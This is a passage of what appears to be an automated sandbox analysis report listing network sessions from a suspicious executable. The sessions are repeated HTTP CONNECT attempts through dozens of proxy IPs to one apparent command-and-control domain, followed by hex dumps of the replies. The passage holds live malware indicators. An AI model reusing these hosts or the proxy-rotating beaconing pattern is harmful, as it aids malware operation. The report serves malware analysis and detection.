20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>500 Internal Server Error</title></head><body><center><h1>500 Internal Server Error</h1></center><hr><center>nginx/1.19.2</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
281	192.168.2.11	50873	5.189.158.162	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.811568022 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.291941881 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 16:42:21.068043947 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
282	192.168.2.11	50096	51.158.108.134	16379	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.816220999 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.884793043 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.885288954 CET	729	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 67 75 72 65 20 79 6f 75 72 20 63 6c 69 65 6e 74 20 61 63 63 6f 72 64 69 6e 67 6c 79 2e 0a 3c 2f 70 3e 0a 3c 70 3e 0a 53 65 65 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 22 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 3c 2f 61 3e 20 66 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 00 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please configure your client accordingly.</p><p>See <a href="https://www.torproject.org/documentation.html">https://www.torproject.org/documentation.html</a> for more information.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
283	192.168.2.11	50927	174.64.199.79	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.825174093 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
284	192.168.2.11	50193	172.93.111.235	44374	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.838915110 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.884793997 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.888128042 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:31.938921928 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
285	192.168.2.11	51075	47.236.85.113	443	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.859190941 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
286	192.168.2.11	51077	47.236.85.113	443	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.860946894 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
287	192.168.2.11	50948	184.178.172.5	15303	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.861566067 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
288	192.168.2.11	50902	91.148.127.162	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.861685038 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
289	192.168.2.11	51079	47.236.85.113	443	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.862399101 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
290	192.168.2.11	50949	98.162.25.29	31679	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.862514019 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
291	192.168.2.11	50026	111.8.155.54	7777	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.862593889 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.884809971 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.888125896 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:31.938910961 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:32.350611925 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
292	192.168.2.11	51080	47.236.85.113	443	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.862987041 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
293	192.168.2.11	50105	159.112.141.44	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.865360975 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.876353025 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.876863003 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:31.876554012 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:43.891952991 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:55.969747066 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:07.969722033 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:32.079117060 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:44:20.078943968 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
294	192.168.2.11	51000	104.16.104.12	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.887586117 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.042054892 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:19 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
295	192.168.2.11	51009	172.67.182.96	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.889224052 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.043611050 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:19 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
296	192.168.2.11	50977	198.23.229.203	15673	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.893822908 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
297	192.168.2.11	50053	202.166.219.80	4153	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.897514105 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.004827023 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
298	192.168.2.11	50911	202.162.219.10	1080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.905324936 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
299	192.168.2.11	50978	174.64.199.82	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.926743984 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
300	192.168.2.11	50979	24.249.199.4	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.927498102 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
301	192.168.2.11	50489	192.252.208.70	14282	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.928658009 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
302	192.168.2.11	50980	174.75.211.222	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.929627895 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
303	192.168.2.11	51022	45.12.30.231	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.938409090 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.092955112 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:20 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
304	192.168.2.11	50984	72.210.221.223	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.946923971 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
305	192.168.2.11	50983	184.178.172.14	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.948051929 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
